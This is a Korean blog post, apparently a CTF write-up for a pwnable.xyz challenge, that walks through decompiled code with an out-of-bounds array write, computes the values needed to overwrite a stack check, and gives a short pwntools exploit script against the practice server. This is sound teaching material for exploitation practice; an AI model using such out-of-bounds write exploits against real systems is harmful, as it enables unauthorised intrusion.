728x90
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
memset(&s, 0, 0x98uLL);
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
win();
return 0;
}
qword의 크기를 생각해보자.
QWORD v5 [rbp-98h]
__int64 v6 [rbp-80h]
따라서 v5의 크기는 \x18이고, 10진수로 표현하면 24이다.
크기가 3인 배열이므로, 하나의 길이는 8비트 이다.
위 코드에서 해야할 것은
if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
이 문장을 참으로 리턴하는 것이다.
초기 설정을 보면
*(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
이렇게 설정되어 있고, 이 deadbeef의 값을 바꿔주면 된다.
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
위 조건문을 보면, add 문제와 다르게 v8변수의 범위가 -7이상 9이하로 설정되어 있다.
배열 v5[3]의 스택을 대충 그려보면,
이런 상황이다. v5[0]에서 7칸이후에 값이 들어간 이유는 v5 + 7 의 값을 deadbeef로 설정했기 때문.
이제 이 위치에 0xB000000B5 를 넣어주면 된다. 그러면 스택 상황은 다음과 같아진다.
memset함수에서 0으로 초기화 시켰기에 빈칸은 \x00이 들어가 있다.
이제 해야하는건 v5[0]에 0xb500000000000000을 넣어주고,
v5[1]엔 0x0b000000 를 넣어주는 것이다.
scanf에서 d로 받아오니깐 10진수로 바꿔주자.
v5[0] >> -5,404,319,552,844,595,200
v5[1] >> 184,549,376
따라서 페이로드는
>>-5,404,319,552,844,595,200 0 -6
184,549,376 0 -5
pwntool로 작성해보자.
from pwn import *
p = remote("svc.pwnable.xyz", 30003)
p.sendline("-5404319552844595200 0 -6")
p.sendline("184549376 0 -5")
p.sendline("a")
p.interactive()
728x90
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] two targets (0) | 2020.09.26 |
---|---|
[pwnable.xyz] note (0) | 2020.09.14 |
[pwnable.xyz] grownup (0) | 2020.09.12 |
[pwnable.xyz] add (2) | 2020.09.09 |
[pwnable.xyz] sub (0) | 2020.09.07 |